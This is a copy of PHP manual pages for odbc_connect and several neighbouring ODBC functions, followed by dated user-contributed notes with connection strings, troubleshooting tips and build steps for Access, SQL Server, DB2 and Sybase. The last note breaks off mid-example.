The connection id returned by this functions is needed by other ODBC functions. You can have multiple connections open at once as long as they either use different db or different credentials. The optional fourth parameter sets the type of cursor to be used for this connection. This parameter is not normally needed, but can be useful for working around problems with some ODBC drivers.

With some ODBC drivers, executing a complex stored procedure may fail with an error similar to: "Cannot open a cursor on a stored procedure that has anything other than a single select statement in it". Using SQL_CUR_USE_ODBC may avoid that error. Also, some drivers don't support the optional row_number parameter in odbc_fetch_row(). SQL_CUR_USE_ODBC might help in that case, too.

The following constants are defined for cursortype:

  • SQL_CUR_USE_IF_NEEDED

  • SQL_CUR_USE_ODBC

  • SQL_CUR_USE_DRIVER

  • SQL_CUR_DEFAULT

For persistent connections see odbc_pconnect().

add a note add a note User Contributed Notes
Kalle Sommer Nielsen
09-Apr-2006 09:30
To use MySQL via ODBC:
<?php
   $db_host        = "server.mynetwork";
   $db_user        = "dbuser";
   $db_pass        = "dbpass";
   $dsn =        "DRIVER={MySQL ODBC 3.51 Driver};" .
           "CommLinks=tcpip(Host=$db_host);" .
           "DatabaseName=$db_name;" .
           "uid=$db_user; pwd=$db_pass";

   odbc_connect($dsn, $db_user, $db_pass);
?>
gekkeprutser at gmail dot com
06-Dec-2005 10:35
I also had a problem with this message: ([ODBC SQL Server driver]Allocation of a Sybase Open Client Context failed). The message only appeared after the server had run for a few hours, so I expected resource starvation. However it was a settings problem and I thought this might benefit others too.

In addition to putting a <?php putenv ("SYBASE=c:\sybase"); ?>  as described by oottavi above, I also had so specify a locale by setting <?php putenv ("LC_ALL=default"); ?>.

Even though my locale was already set to a valid one (en_US) I had to set this environment variable to make it work anyhow.
owen at silicon-dream dot com
14-Sep-2005 11:07
Connecting to an access database was as simple as the following line for me.

odbc_connect("DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" . str_replace("/", "\\", $_SERVER["DOCUMENT_ROOT"]) . "\_database\dbname.mdb", "", "")
webmaster at dzconnexion dot com
05-May-2005 11:44
Concerning the note posted by Grisu on the 23-Dec-2003 11:51: Connect to an MS-Access Database on the Network via ODBC,

PLEASE dont forget to put double slashes as follows:

"\\\\Server\\folder\\database.mdb"

when setting up the registry key as indicated...
rotwhiler at hotmail dot com
29-Apr-2005 11:42
For anyone having problems with WHERE clauses in their MS Access ODBC requests heres what I found: SQL requests sent to Access must include quotes around the criteria.

$sel = "SELECT * FROM table1 WHERE cust_id = 'cust1'";
outputs:
SELECT * FROM table1 WHERE cust_id = 'cust1'
And works.

$sel = SELECT * FROM table1 WHERE cust_id = cust1;
outputs:
SELECT * FROM table1 WHERE cust_id = cust1
And doesnt work.

Heres the whole block of code:
$conn = odbc_connect("database1","","");
$sel = "SELECT * FROM table1 WHERE cust_id = 'cust1'";
$exec = odbc_exec($conn,$sel);
while($row = (odbc_fetch_array($exec)))
 $serv[odbc_result($exec,'label')] = $row;
print_r($serv);
aurelien marchand
30-Mar-2005 11:54
For three days I fought to be able to connect our Linux intranet server to our AS400 database through ODBC and PHP on Mandrake. I installed everything I thought would work but I still got a: odbc_connect(): SQL error: Missing server name, port, or database name in call to CC_connect., SQL state IM002 in SQLConnect

Note that isql was working great but php was failing to connect.

The solution:
I located and found a PHP module called php-unixODBC (to oppose with php-odbc). Once installed (even though it wasn't for the right version of PHP), I realised it didn't place the file properly. The ini file was in /etc/php/ instead of /etc/php.d/, so I moved it there and renamed the old /etc/php.d/36_odbc.ini to /etc/php.d/36_odbc.ini.sav, so that I now had /etc/php.d/36_unixodbc.ini. I restarted the httpd server and now I was able to access the as400.

If you have questions, email _artaxerxes2_at_iname_dot_com (sans the underscore).
ramsosa at yahoo dot com
12-Mar-2005 03:47
Connecting to ADS (Advantage Database Server) using Windows. When you setup data source in ODBC Manager (PHP_SERVER) don't use a mapped drive in Database or Data Dictionary Path, or you cannot connect:

Lets suppose that you share C:\ADS_SERVER\ADS as ADS.
Mapping to a drive X: in PHP_SERVER

Instead of:

X:\APP\DATA\APP.ADD

use UNC:

\\ADS_SERVER\ADS\APP\DATA\APP.ADD

if the ADS ODBC dialog dont let you to browse a Network Drive type it manually
aamaral at 0kbps dot net
04-Mar-2005 02:16
Two additional notes regarding ODBC connections to a Network Sybase SQL Anywhere 8 Server..

I wrote a script using the PHP5 CLI binary that monitors a directory for changes, then updates a Network Server SQL Anywhere 8 database when a change was detected. Idealy, my program would run indefinately, and issue odbc_connect()/odbc_close() when appropriate. However, it seems that once connected, your odbc session is limited to 30 seconds of active time, after which, the connection becomes stale, and no further queries can be executed.  Instead, it returns a generic "Authentication violation"  error from the odbc driver.

Here's an example:

<?php
  $conn=odbc_connect($connect_string,'','');
  $result=odbc_exec($qry,$conn);  //returns data
  sleep(31);
  $result=odbc_exec($qry,$conn);  //"Authentication Violation"
?>

Additionally, it seems that odbc_close() doesn't truely close the connection (at least not using Network SQL Anywhere 8). The resource is no longer usable after the odbc_close() is issued, but as far as the server is concerned, there is still a connection present. The connection doesn't truely close until after the php script has ended, which is unfortunate, because a subsequent odbc_connect() commands appear to reuse the existing stale connection, which was supposedly closed.

My workaround was to design my script exit entirely after a the database update had completed.  I then called my script whithin a batch file and put it inside an endless loop.

I'm not sure if this is a bug with PHP or what, but I thought I'd share in case someone else is pulling their hair out trying to figure this one out...
aamaral at 0kbps dot net
17-Feb-2005 04:29
To connect to Sybase SQL Server Anywhere 8.0 on Windows use the following:

<?php
//================================================================

  // Configure connection parameters
  $db_host        = "server.mynetwork";
  $db_server_name = "Dev_Server";
  $db_name        = "Dev_Data";
  $db_file        = 'c:\dbstorage\dev.db';
  $db_conn_name  = "php_script";
  $db_user        = "dbuser";
  $db_pass        = "dbpass";

//================================================================
  $connect_string = "Driver={Adaptive Server Anywhere 8.0};".
                   "CommLinks=tcpip(Host=$db_host);".
                   "ServerName=$db_server_name;".
                   "DatabaseName=$db_name;".
                   "DatabaseFile=$db_file;".
                   "ConnectionName=$db_conn_name;".
                   "uid=$db_user;pwd=$db_pass";

  // Connect to DB
  $conn = odbc_connect($connect_string,'','');

  // Query
  $qry = "SELECT * FROM my_table";

  // Get Result
  $result = odbc_exec($conn,$qry);

  // Get Data From Result
  while ($data[] = odbc_fetch_array($result));

  // Free Result
  odbc_free_result($result);

  // Close Connection
  odbc_close($conn);

  // Show data
  print_r($data);

//================================================================
?>
manuel dot vecino at steria dot es
16-Nov-2004 07:04
Hi Mario, I changed a bit your script to suit my configuration,
I also included a lines to close the connection.
Thanks for the script
I am running apache 2.0.52 and PHP 5.0.2. Windows 2000
SQL 2000

<head>
<title>Untitled Document</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<body bgcolor="#FFFFFF">
<table width="75%" border="1" cellspacing="1" cellpadding="1" bgcolor="#FFFFFF">
  <tr bgcolor="#CCFFFF">
   <td height="22"><b>Tipo</b></td>
   <td height="22"><b>Marca</b></td>
   <td height="22"><b>Modelo</b></td>
  </tr>

<?php
$cx=odbc_pconnect("RAMPANT","Invent","pass","");
$cur=odbc_exec($cx,"select tipo,marca,modelo from inv_equipos");
while(odbc_fetch_row($cur))
{
//collect results
$tipo=odbc_result($cur,1);
$marca=odbc_result($cur,2);
$modelo=odbc_result($cur,3);
//format and display results
   print ("<tr>");
   print ("<td>$tipo</td>");
   print ("<td>$marca</td>");
   print ("<td>$modelo</td>");
   print ("</tr>");
   }

//disconnect from database
   odbc_close($cx);

   ?>

</table>
</body>
</html>
emin dot eralp at bg dot com dot tr
16-Oct-2004 12:46
A VERY IMPORTANT NOTE OF CAUTION FOR WINDOWS USERS DEVELOPING ON NON-NETWORKED SYSTEMS

If like me you are developing on a stand-alone system (Windows XP professional running IIS).  Make sure that the the folder your database resides in is shared, otherwise you will get the following type of message:

Current Recordset does not support updating. This may be a limitation of the provider, or of the selected locktype.'

and you will spend 2 days (as I did) looking for the right combination of settings to write the record properly.
f dot chehimi at lancaster dot ac dot uk (Fadi)
10-Jul-2004 04:13
This is the typical solution with the steps to follow if someone wants to connect MS Access to PHP. it took me a couple of hours actually till i reached it. i just wanted to ease the hassle for my colleagues in order not to waste their time as i did. this is the duty of every programmer towards his/her peers :p
here you are the CAKE :)

<?php

// to have this working:
// 1- u  have first to creat ur access database using MS
//    Access  (i asume u know how to do this). My database
//    that i used in my example is called "Questionaire.mdb".
//    the table in it is called "Results"
//
// 2- then u have to add this database to ODBC in the
//    control panel.
//
// 3- the adition happens by adding "MS Access Driver" to the
//    "System DNS" tab in ODBC Data Source Administrator. if
//    u have that "MS Access Driver" in "User DNS" tab, then
//    u have to delete it.
//
// 4- click on Add in the "System DNS" tab.
//
// 5- choose "MS Access Driver" from the "Creat New
//    Database Source" window and click finish.
//
// 6- then the "ODBC MS Access Setup" window will pop-up.
//
// 7- give the driver the name that you want to use in your
//    PHP scripting. i used here "MSAccessDriver".

// 8- after this, choose the "Select" button in "ODBC MS
//    Access Setup" to set the path of your Access database.
//
// 9-then u r done!!

// this odbc_connect does the connection to the driver i
// created in the ODBC Administrator
$con = odbc_connect('MSAccessDriver','','');

if ($con)
{
  echo "odbc connected<br>";
  $sql =  "select * from Results";

  //this function will execute the sql satametn in
  //correspondance to the table in the db
  $exc = odbc_exec($con,$sql);
}
else
  echo "odbc not connected<br>";

if($exc)
{
  echo "selection completed<br>";
  while($row = odbc_fetch_row($exc) )
       echo $row->id."<br>";
}
else
  echo "selection failed<br>";

?>
d-m at eudoramail dot com
23-Jun-2004 03:05
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
Compiling Apache + PHP + DB2 8.1  without the DATABASE instaled at the WebServer Machine!
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/

Go to the machine that you have DB2 DATABASE instaled and COPY the include files from the DB2 8.1 DataBase to the PHP source directory:

Sample:
[root@DB2_SERVER/usr/opt/db2_08_01/include]# scp * user@webserver:/usr/src/php-4.3.7/ext/odbc/.

INSTALLING THE WEBSERVER!
Enter in the WebServer as root and ...

-- DB2 --
Install Administration Client
Catalog the DataBases
-- END DB2 --

-- LIB --
vi /etc/ld.so.conf
add line: /opt/IBM/db2/V8.1/lib
execute: ldconfig
-- END LIB --

Download PHP + MODSSL + OPENSSL + APACHE!

--- APACHE ---
cd ../mod_ssl-2.8.18-1.3.31
./configure  --enable-module=so --with-apache=../apache_1.3.31 --with-ssl=../openssl-0.9.7d
cd ../apache_1.3.31/
make
make certificate TYPE=custom
make install
--- END APACHE ---

OBS:  CRIPT the CA.key
   DO NOT CRYPT server.key

-- PHP --
cd ../php-4.3.7
./configure  --with-apxs=/usr/local/apache/bin/apxs --with-mysql --with-pgsql --with-zip=/usr/local/lib --with-ibm-db2=/opt/IBM/db2/V8.1
make
make install
-- END PHP ---

-- APACHE EDIT TO RUN DB2 --
vim /usr/local/apache/bin/apachectl
add line: . /home/db2inst1/sqllib/db2profile
-- END APACHE EDIT TO RUN DB2 --
NOW run /usr/local/apache/bin/apachectl startssl

DONE !!!!!

You have a WebServer with PHP with DB2,MYSQL,POSTGRES and SSL Support.

Enjoy IT!

[]s
Helio Ferenhof
simonr at no2sp at m dot cogapp dot com
01-Jun-2004 08:26
To make a DSN-less connection using ODBC to MS-SQL:

<?php

$connection_string = 'DRIVER={SQL Server};SERVER=<servername>;DATABASE=<databasename>';

$user = 'username';
$pass = 'password';

$connection = odbc_connect( $connection_string, $user, $pass );

?>

servername is the name of the database server

databasename is the name of the database

Note, I've only tried this from a windows box using the Microsoft ODBC drivers.
therebel at tiscali dot fr
31-Mar-2004 11:06
To connect to a MDB Access file without adding a system dsn to Windows :

$cfg_dsn = "DRIVER=Microsoft Access Driver (*.mdb);
DBQ=C:/Access.mdb;
UserCommitSync=Yes;
Threads=3;
SafeTransactions=0;
PageTimeout=5;
MaxScanRows=8;
MaxBufferSize=2048;
DriverId=281;
DefaultDir=C:/ProgramFiles/CommonFiles/ODBC/DataSources";

$cfg_dsn_login = "";
$cfg_dsn_mdp = "";

odbc_connect($cfg_dsn,$cfg_dsn_login,$cfg_dsn_mdp);
sa_kelkar at yahoo dot com
10-Mar-2004 11:41
While Installing PHP  + Apache + DB2 some time it give problem with odbc_connect(). . to solve this problem

make sure that u have made following entry in /etc/ld.so.conf

/usr/IBMdb2/V7.1/lib
/usr/IBMdb2/V7.1/include
/usr/lib

please add following line on line no 25 in /etc/rc.d/init.d/httpd

./home/db2inst1/sqllib/db2profile
(i.e /home/(instant name)/sqllib/db2profile

for more detail please visit to IBM site

it will work
atze at o2o dot com dot au
05-Feb-2004 07:41
To connect to a SQL DB on a unix srv via odbc one can use one of the following solutions.

1. having an odbc.ini (~/.odbc.ini)

[PostgreSQL]
Description        = PostgreSQL template1
Driver              = PostgreSQL
Trace              = Yes
TraceFile          = /tmp/odbc.log
Database            = PerfTest
Servername          = localhost
UserName            = boss
Password            = BigBoss
Port                = 5432
Protocol            = 6.4
ReadOnly            = Yes
ConnSettings        =

[Default]
Driver = /local/lib/libodbc.so

2. specifying a DSN

function DBCALL($SQL)
{
$U = "boss";
$DB = "PerfTest";
$P = "BigBoss";
$Srv = "llocalhost";
$DSN = "Driver=PostgreSQL;Server=$Srv;Database=$DB";

echo "Trying to connect to $DSN\n";
if ($CID = odbc_connect ("$DSN","$U","$P",SQL_CUR_USE_ODBC))
{
   echo "still trying CID = $CID\n";
   if ($RES = odbc_exec($CID, $SQL))
   {
       echo "RES = $RES\n";
       print_r($RES);
       echo "\n";

       $NR = odbc_num_rows($RES);

<snip>

Hope this helps.
Grisu
23-Dec-2003 07:51
Connect to an MS-Access Database on the Network via ODBC

Apache 2.0.47 with PHP 4.3.4 running on Windows XP Pro

If you encounter the error
"[Microsoft][ODBC Driver Manager] Data source name not found and no default driver specified, SQL state IM002 in SQLConnect"

you should make sure to have the following done:

The ODBC-link must be a System-DNS and not a User-DNS. Configure your ODBC-link and then modify your configuration with regedt32. Go to HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC_INI and open your ODBC-link. The field DBQ contains the path to your database. This path must be without Drive-names (e. g. "M:") so change it to "\\Server\folder\database.mdb". This setting is changed each time you modify your ODBC-configuration using the Windows-tool, so make sure you do this afterwards.

Then you go to the Services-Section in your Systemmanagement. Select the properties of your Apache module. In the login-section you have to make sure you login with a valid User-Account for your Network-Server.

Please note that this way you still have no permission to access linked tables within the linked database

Funny enough all this is not necessary on Win98.
TheFrenZ
07-Nov-2003 08:22
If you encounter the error:

"[Microsoft][ODBC Driver Manager] Data source name not found and no default driver specified, SQL state IM002 in SQLConnect"

Windows with PHP, running under IIS/PWS, PHP runs under the anonymous user, INET_USR_"server" (were "server" is your servername).
This user has no read access in the ODBC System DSN tree in the registry.

With regedt32 open HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC_INI and give read access to every ODBC entry you want to use with PHP.

Beware: With every change to a ODBC system DSN, the rights on that ODBC system DSN are gone again, and you have to change the rights again manualy.

Under Apache, PHP runs under the System account and you wont have this problem.
ivan21 at bol dot com dot br
01-Nov-2003 12:28
The best source of information (for unix user), you can find here:

http://www.unixodbc.org/
lffranco at dco.pemex.com
28-Aug-2003 09:08
As always Microsoft is clueless... I've been trying to connect to an Access database on a W2K on the network (not a local file, but mapped on the V: drive), via ODBC.

All I got is this message:
Warning: SQL error: [Microsoft][ODBC Microsoft Access Driver] '(unknown)' is not a valid path. Make sure that the path name is spelled correctly and that you are connected to the server on which the file resides., SQL state S1009 in SQLConnect in d:\apache\cm\creaart.php on line 13

So... I started looking al around and looks like the ODBC driver has some severe problems:

1. It cannot access a Access database via a mapped drive. And this is for ANY application, name it PHP, Coldfusion, whatever
2. You cannot make a system DSN with a UNC (\\Server\resource), so you must map the drive

Cute isn't it?

So... I quit on ODBC and went via ADO, this is the code that works:

=== CODE ===

$db = '\\\\server\\resource\\db.mdb';
$conn = new COM('ADODB.Connection');
$conn->Open("DRIVER={Driver do Microsoft Access (*.mdb)}; DBQ=$db");

// Driver do Microsoft Access (*.mdb)
// must be the name in your odbc drivers, the one you get
// from the Data Sources (ODBC).
// In this case, I'm in Mexico but the driver name is in portuguese, thanks Microsoft.

$sql = 'SELECT username FROM tblUsuarios';
$res = $conn->Execute($sql);
while (!$res->EOF)
{
   print $res->Fields['username']->Value . "<br>";
   $res->MoveNext();
}

$res->Close();
$conn->Close();
$res = null;
$conn = null;

=== /CODE ===
eric dot ramirez at iberoonline dot com
31-May-2003 01:44
Connecting with SQL in a ODBC source

2 ways, one is if your SQL server is runign in your machine

$ser="LOCALMACHINE"; #the name of the SQL Server
$db="mydatabase"; #the name of the database
$user="myusername"; #a valid username
$pass="my pass"; #a password for the username

# one line
$conn=odbc_connect("Driver={SQL Server};Server=".$ser.";Database=".$db,$user,$pass);
# one line

the second way is if the SQL Server is runing in other machine but in the same network

$ser="LOCALMACHINE"; #the name of the SQL Server
$db="mydatabase"; #the name of the database
$user="myusername"; #a valid username
$pass="my pass"; #a password for the username

#one line
$conn=odbc_connect("DRIVER=SQL Server;SERVER=".$ser.";UID=".$user.";PWD=".$pass.";
DATABASE=".$db.";
Address=".$ser.",1433","","");
#one line
richard at lordrich dot com
02-May-2003 07:07
Because the dsn needs to be system-wide, you will also need write access to the registry to set it up.
Yvan Ecarri
22-Mar-2003 07:01
I fighted with the "Data source name not found and no
default driver specified, SQL state IM002 in SQLConnect"
error for a while trying to connect via ODBC to a SQL Server
2000. Finally I found this workaround:

$cn = odbc_connect("Driver={SQL Server};Server=MyServer;Database=MyDatabase",
"MyUser","MyPassword")

Change "MyServer", "MyDatabase", "MyUser" and "MyPassword" to the right values.

I guess that adding the "Integrated Security=YES" will work too.

Regards,

Yvan Ecarri, MCDBA, MCSD
jeremy at austin.ibm.com
01-Mar-2003 06:20
here's a quick note about using php and db2 that cost me a couple of hours and several recompiles trying to figure out why it didn't work.

put the below line in any script

     putenv("DB2INSTANCE=db2inst1");

Or, set that in your webserver environment somehow.
sambou at everyonesports dot com
17-Dec-2002 06:11
If you encounter the error:

"[Microsoft][ODBC Driver Manager] Data source name not found and no default driver specified, SQL state IM002 in SQLConnect"

make sure you have the correct permission to your database file (e.g. if using Win2k, might want to set the "Everyone" group to "Full Control").  For Windows, I find that I have to sometimes use the registry editor (e.g. RegEdt32.exe) to set the database file's permission because for some unknown reason, setting the permission from the file's "Properties" option does not work.
oottavi at netcourrier dot com
07-Nov-2002 02:36
If you have problem to connect to sybase with an ODBC driver, try to set up your SYBASE environment variable to the correct directory.
([ODBC SQL Server driver]Allocation of a Sybase Open Client Context failed)

Ex : Here is a connection to a DSN

putenv("SYBASE=c:\sybase");

$conn  =  odbc_connect("DSN1","USER","PASSWORD");
echo  "conn:  $conn";
if  ($conn  <=  0)  {
       echo  "Error  in  connection";
       exit;
} else  {
       echo  "<P>Connection  successful\n";
};
mortoray at ecircle-ag dot com
31-Oct-2002 08:31
If you have switched to a new Version of PHP (from 4.1 to 4.3) and at the same time have upgraded your Apache server (from 1.x to 2.x) and suddenly get the error:

"[Microsoft][ODBC Driver Manager] Data source name not found and no default driver specified, SQL state IM002 in SQLConnect"

It may be because you have your ODBC connections listed (Control Panel | ODBC) as User DSN rather than System DSN.  They need to be System DSN in order for the PHP in the Apache service to access to them.
osiris at rich-howard dot co dot uk
25-Jul-2002 01:34
Thought I'd add a note here on this. I'm using Apache 2.0.39 on Windows XP and PHP 4.2.2.

It helps a lot if you don't use capital letters in your dsn string.

Thought I also comment on the posts about using system dsns over file dsns. There are lots of posts saying use systems not files, but none (that I have seen) which explain why.

Essentially: File DSNs are specific to the current user, therefore the Internet Guest User Account doesn't have rights to them. Systems are available to everyone.

Regards

Osiris :)
d-m at eudoramail dot com
06-Feb-2002 01:40
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
odbc_connect ERRO at DB2
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/

To Solve the problem with DB2 + PHP folow this steps!

INSTALL THE PROGRAM LIKE THIS!

-- DB2 --
Install the DataBank
Install Application Tools
-- END DB2 --

--- APACHE ---
cd ../mod_ssl-2.8.5-1.3.22/
./configure  --enable-module=so --with-apache=../apache_1.3.22/  --with-ssl=../openssl-0.9.6c/
cd ../apache_1.3.22/
make
make certificate TYPE=custom
make install
--- END APACHE ---

-- PHP --
cd ../php-4.1.1/
./configure  --with-apxs=/usr/local/apache/bin/apxs --with-pgsql --with-mysql --with-ibm-db2=/usr/IBMdb2/V7.1
make
make install
-- END PHP ---

-- LIB --
vim /etc/ld.so.conf
add line: /usr/IBMdb2/V7.1/lib
execute: ldconfig
-- END LIB --

To Solve the error ODBC_CONNECT exec the db2profile at the apachectl!!! Like this!

-- APACHE EDIT TO RUN DB2 --
vim /usr/local/apache/bin/apachectl
add line: . /usr/home/db2inst1/sqllib/db2profile
-- END APACHE EDIT TO RUN DB2 --

NOW run /usr/local/apache/bin/apachectl startssl

DONE !!!!!

You have a DB2 + APACHE + SSL + PHP + MYSQL + POSTGRES .

Enjoy

[]s
Helio Ferenhof
whuang at cadvision dot com
19-Jan-2002 10:32
If you (still) get that annoying error like and you're using Access:

MSaccess DSN(Microsoft Jet engine couldn't open the database 'Unknow'.
Another user is using it exclusively, or you dont have permission to use
it).

Make sure your access *.mdb file is not on a network drive. Put it on C: or D: disable all security first so you can test the connection. Once you can verify that you can connect add appropriate passwords, group access, etc.

-=WH=-
bill at ergoitsolutions dot com
15-Dec-2001 02:36
odbc connect to Oracle 8.0.xxx / NT4 / IIS4 / php.exe (4.1.0)
had a lot of trouble connecting kept receiving the 12154 TNS error.
Found a really useful hint in a mail msg on phpbuilder.  http://www.phpbuilder.com/mail/php-db/2001051/0192.php
Had to strip the <cr>'s out of both sqlnet.ora and tnsnames.ora to get a connection established.  Also had trouble in php.ini need to
fully qualify extension_dir on NT if you leave the last \ on the dir
name it is replaced with a /
Mahmoud at iastate dot edu
30-Nov-2001 04:35
WINNT 4 Workstation, PHP4

odbc_connect() kept giving me weird errors when trying to connect to a MSaccess DSN(Microsoft Jet engine couldn't open the database 'Unknow'. Another user is using it exclusively, or you dont have permission to use it).

After going nuts for a while, I realized that my database name had a space in it (course surveys.mdb), I shortened the name to eliminate the space .. and everything worked fine.
lomaky at yahoo dot com
24-Nov-2001 06:30
// simple conection

$cnx = odbc_connect('cliente','Administrador','');
//query
$SQL_Exec_String =  "select * from Clientes";
//ejecucion query
$cur= odbc_exec( $cnx, $SQL_Exec_String );
echo  "<table border=1><tr><th>Dni</th><th>Nombre</th>".
         "<th>codigo</th><th>ciudad</th></tr>\n";
   while( odbc_fetch_row( $cur ) ) {
       $Dni= odbc_result( $cur, 1 );
       $Nombre= odbc_result( $cur, 2 );
       $codigo= odbc_result( $cur, 3 );
       $ciudad= odbc_result( $cur, 4 );
       echo  "<tr><td>$Dni</td><td>$Nombre</td>".
             "<td>$codigo</td><td>$ciudad</td></tr>\n";
   }
   echo  "</table>";
root at mediamonks dot net
19-Nov-2001 08:03
Due to multiple requests, more for DSN-less connections:

$db_connection = new COM("ADODB.Connection");

$db_connstr = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=". realpath("../databases/database.mdb") ." ;DefaultDir=". realpath("../databases");
$db_connection->open($db_connstr);
$rs = $db_connection->execute("SELECT * FROM Table");
$rs_fld0 = $rs->Fields(0);
$rs_fld1 = $rs->Fields(1);
while (!$rs->EOF) {
  print "$rs_fld0->value $rs_fld1->value\n";
  $rs->MoveNext(); /* updates fields! */
}
$rs->Close();
$db_connection->Close();

(Prints first 2 columns for each row.)
cs at coolspot dot de
11-Jul-2001 04:01
We've tried hard to connect from php to our IBM DB2 RS/6000 Server. It worked after we compiled with --ibm-db2= option, but it was unbelievable
slow.

No, just testing some options, we found out that it went from very slow (getting 100 records lasts 1 till 10 seconds) to fast access (almost same speed as with using JDBC from Servlets) to 0.2 till 0.3 seconds.

We simply added the optional parameter Cursortype to odbc_connect, and with the cursortype SQL_CUR_USE_ODBC it changed in that way!

Hope this helps anybody who must connect to db2 ;)
ckelly at powerup dot com dot au
13-Jun-2001 12:42
To connect to a PROGRESS database using ODBC you must have SQL_CUR_USE_ODBC  as the 4th parameter eg odbc_connect(DSN,uname,password,SQL_CUR_USE_ODBC ) otherwise you can pass queries but no results are ever returned .
cpoirier at shelluser dot net
10-Mar-2001 05:26
After much testing, and I think supported by a comment I found in the code, I have come to a disturbing conclusion: odbc_connect() in PHP4.04pl1 is really an odbc_pconnect(), with all the implications for transaction scoping.  Specifically, each time you call odbc_connect( "X", "" "" ), you will get the same physical ODBC Connection, and odbc_commit() and odbc_rollback() will affect all copies.  The only solution I could find was to use several different DSNs to access the database.
fc99 at smm dot de
27-Jan-2001 10:23
If you don't want to specify your login credentials on your web server, you can leave the login fields blank to use the integrated windows security like here:

odbc_connect("DSN=DataSource","","");

Make sure you have switched your system dsn to integrated security, too !

(works on windows machines only, of course)

flo.
SilencerX at optidynamic dot com
27-Jan-2001 07:31
If like me you are using openlink from unix to access an MS Access database on an NT/Win2k machine and find out that your INSERT queries don't do anything and don't report any errors, use odbc_pconnect().

I couldn't understand what was going on and after a bit of research I found out that with MySQL they recommended using mysql_pconnect() for INSERT queries. I tried the same thing with odbc and it worked.
garretg at otable dot com
03-Jan-2001 06:03
If you're connecting to a SQL server database through ODBC, you must set the default database of the ODBC DSN to the database you want to use.

There is no way to specify the database name in odbc_connect or odbc_pconnect, just the DSN name, username, and password.
phobo_AT_paradise.net.nz
02-Nov-2000 10:01
If using Openlink to connect to a Microsoft Access database, you will most likely fine tha odbd_connect() works fine, but discover that ANY query will produce odd results; with SELECT queries failing with "[OpenLink][ODBC][Driver]Driver not capable, SQL state
S1C00 in SQLExecDirect in xxxx.php on line xx" and INSERT / DELETE queries warning "No tuples available at this result index".

In this case, use the SQL_CUR_USE_ODBC cursor!

This had me stumped for quite some time; because it was the odbc_exec() which was seemingly at fault... :)

Siggy
mario at bntrc dot com
02-Jul-2000 02:00
i'm using Apache/1.3.12 (Win32) with php4 module to get data from sql server7.0 via odbc.. and it's works ! Thanks very much.. Hope this script help the others as i were helped =)

<?php
define (NL,"\n");
$cx=odbc_pconnect("php","sa","","");
$cur=odbc_exec($cx,"select id,nama from php");
echo "DATA FROM SQL SERVER WITH PHP4".NL;
echo "<table border=1 align=center>".NL;
echo "<tr><td>ID</td>".NL."<td>Pass</td></tr>";
while(odbc_fetch_row($cur)){
echo "<tr>".NL;
$id=odbc_result($cur,1);
$pass=odbc_result($cur,2);
echo "<td>".NL;
echo "$id".NL;
echo "</td>".NL;
echo "<td>".NL;
echo "$pass".NL;
echo "</td>".NL;
echo "</tr>".NL;
echo "</td>".NL;
}
echo "</table>".NL;
?>
IO
cnewbill at onewest dot net
18-May-2000 08:55
Alot of people share the same kind of problems getting this setup on linux.  I was assigned this problem 2 days ago and I was successful.  My combination was PHP4 RC2, Easysoft OOB, and unixODBC.  These three products work very well together and are real easy to install.  More info http://www.easysoft.com/products/oob/main.phtml. ps also works good with Perl's DBI.
dipakp at atinet dot com
09-Mar-2000 12:43
OpenRDA ODBC from http://www.odbcsdk.com allows you to access MS Access, SQL Server and other PC databases from LINUX and many other UNIX platforms.
add a note add a note

后退 | 起点 | 前进
odbc_commit | 上一级 | odbc_cursor


odbc_cursor

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

odbc_cursor -- Get cursorname

Description

string odbc_cursor ( resource result_id )

odbc_cursor will return a cursorname for the given result_id.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
odbc_connect | 上一级 | odbc_data_source


odbc_data_source

(PHP 4 >= 4.3.0, PHP 5)

odbc_data_source -- Returns information about a current connection

Description

array odbc_data_source ( resource connection_id, int fetch_type )

Returns FALSE on error, and an array upon success.

This function will return the list of available DNS (after calling it several times). The connection_id is required to be a valid ODBC connection. The fetch_type can be one of two constant types: SQL_FETCH_FIRST, SQL_FETCH_NEXT. Use SQL_FETCH_FIRST the first time this function is called, thereafter use the SQL_FETCH_NEXT.

add a note add a note User Contributed Notes
critmas at hotmail dot com
26-Feb-2005 03:53
Thank you Angelo for point out the code.  Though the function doesn't really do what it is supposed to.  It returns the entire list of ODBC DSNs.
If you really are looking to get the server type based on just the ODBC, username and password in an environment where the application needs to be aware of different types of databases, use the following code:

$link2 = odbc_connect($dsn , $DBUser, $DBPwd ) or die(odbc_errormsg() );
$result = @odbc_data_source( $link2, SQL_FETCH_FIRST );
while($result)
{
   if (strtolower($dsn) == strtolower($result['server'])) {
       echo $result['description'] . "<br>\n";
       break;
   }
       else
       $result = @odbc_data_source( $link2, SQL_FETCH_NEXT );
}

odbc_close($link2);

// Hope it saves your precious time
angelo [at] spaceblue [dot] com
02-Dec-2003 02:51
// Example usage:

// Connect to a ODBC database that exists on your system
$link = odbc_connect("some_dsn_name", "user", "password") or die(odbc_errormsg() );

$result = @odbc_data_source( $link, SQL_FETCH_FIRST );
while($result)
{
   echo "DSN: " . $result['server'] . " - " . $result['description'] . "<br>\n";
   $result = @odbc_data_source( $link, SQL_FETCH_NEXT );
}

odbc_close($link);
add a note add a note

后退 | 起点 | 前进
odbc_cursor | 上一级 | odbc_do


odbc_do

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

odbc_do -- Synonym for odbc_exec()

Description

resource odbc_do ( resource conn_id, string query )

odbc_do() will execute a query on the given connection.

add a note add a note User Contributed Notes
nmaskell at livingchurch dot net
31-May-2005 10:10
Some of you may be having problems with Access SQL.
I got "Too few parameters" many times before I figured this out.
MS Access does not like double quotes in a SQL string like this:
<?php
$sql = 'INSERT INTO table (field1,field2,field3,field4) VALUES ("text value 1", "text 2",3,"text 4")';
?>

This resulted in an obscure error: Too few parameters.
So - The following should work much better:
<?php
